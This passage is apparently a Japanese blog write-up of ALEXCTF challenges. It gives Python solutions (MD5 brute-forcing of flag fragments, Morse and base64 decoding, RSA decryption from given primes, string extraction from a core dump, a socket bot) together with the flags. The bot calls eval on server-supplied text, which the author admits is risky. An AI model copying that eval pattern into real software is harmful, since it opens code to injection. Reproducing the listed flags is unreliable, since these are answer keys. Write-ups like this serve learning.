    (196125799557195268866757688147870815374L),  # md5('28n4b')
    (74874145132345503095307276614727915885L)    # md5('6v3k}')
]

"""
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=2):
    x = 'TF{' + ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=4):
    x = ''.join(t) + '}'
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)

# ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

CR1: Ultracoded (Cryptography 50)

与えられたテキストを適当に変換すると、モールス信号を表す文字列が得られる。

data = open('zero_one').read()

s = ''
for x in data.split():
    if x == 'ZERO':
        s += '0'
    else:
        s += '1'

s = "%x" % int(s, 2)
s = s.decode('hex')
s = s.decode('base64')
print s
$ python test.py
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Morse Code Translator等で復号した文字列を適当に変換するとフラグが得られる。

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

CR3: What is this encryption? (Cryptography 150)

「OpenSSLとPythonでRSA暗号の原理を知る」と同様に、RSAの復号を行うだけ。

p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q,r = b//a,b%a; m,n = x-u*q,y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    return b, x, y

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return None  # modular inverse does not exist
    else:
        return x % m

d = modinv(e, (p-1)*(q-1))
m = pow(c, d, p*q)
m = "%x" % m
print m.decode('hex')
$ python test.py
ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}

Fore1: Hit the core (Forensics 50)

stringsすると長い文字列が見つかる。

$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)

フラグフォーマットをヒントに、一定間隔で文字を拾うとフラグが得られる。

s = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
print s[3::5]
$ python test.py
ALEXCTF{K33P_7H3_g00D_w0rk_up}

Fore3: USB probing (Forensics 150)

USBのパケットキャプチャファイルが与えられる。 サイズの大きなパケットを探すと、101番のパケットでPNGファイルが転送されているのが見つかる。

f:id:inaz2:20170206205347p:plain

ALEXCTF{SN1FF_TH3_FL4G_0V3R_U58}

SC1: Math bot (Scripting 100)

与えられる数式を計算するだけ。evalを使うのは危険だが適当にやってしまった。

from minipwn import *

s = socket.create_connection(('195.154.53.62', 1337))
for i in xrange(500):
    print recvuntil(s, ':\n')
    x = recvline(s)
    print x
    y = eval(x[:-2])
    sendline(s, str(y))
interact(s)
$ python test.py
                __________
         ______/ ________ \______
       _/      ____________      \_
     _/____________    ____________\_
    /  ___________ \  / ___________  \
   /  /XXXXXXXXXXX\ \/ /XXXXXXXXXXX\  \
  /  /############/    \############\  \
  |  \XXXXXXXXXXX/ _  _ \XXXXXXXXXXX/  |
__|\_____   ___   //  \\   ___   _____/|__
[_       \     \  X    X  /     /       _]
__|     \ \                    / /     |__
[____  \ \ \   ____________   / / /  ____]
     \  \ \ \/||.||.||.||.||\/ / /  /
      \_ \ \  ||.||.||.||.||  / / _/
        \ \   ||.||.||.||.||   / /
         \_   ||_||_||_||_||   _/
           \     ........     /
            \________________/

Our system system has detected human traffic from your IP!
Please prove you are a bot
Question  1 :

51592980733851622235329877819524 % 81337315219774907248751097819108 =

Question  2 :

222530311273284491939188931042597 * 5582384329582694587240599887190 =

(snip)

Question  500 :

223942165497608593390730286109841 - 285025587991694605246774446376485 =

Well no human got time to solve 500 ridiculous math challenges
Congrats MR bot!
Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}
*** Connection closed by remote host ***

所感

解けなかった問題は以下。

  • RE3: Catalyst system (Reversing 150)
  • RE5: packed movement (Reversing 350)
  • CR2: Many time secrets (Cryptography 100)
  • CR4: Poor RSA (Cryptography 200)
  • CR5: Bring weakness (Cryptography 300)
  • Fore2: Mail client (Forensics 100)
  • Fore4: Unknown format (Forensics 200)
  • SC2: Cutie cat (Scripting 150)

関連リンク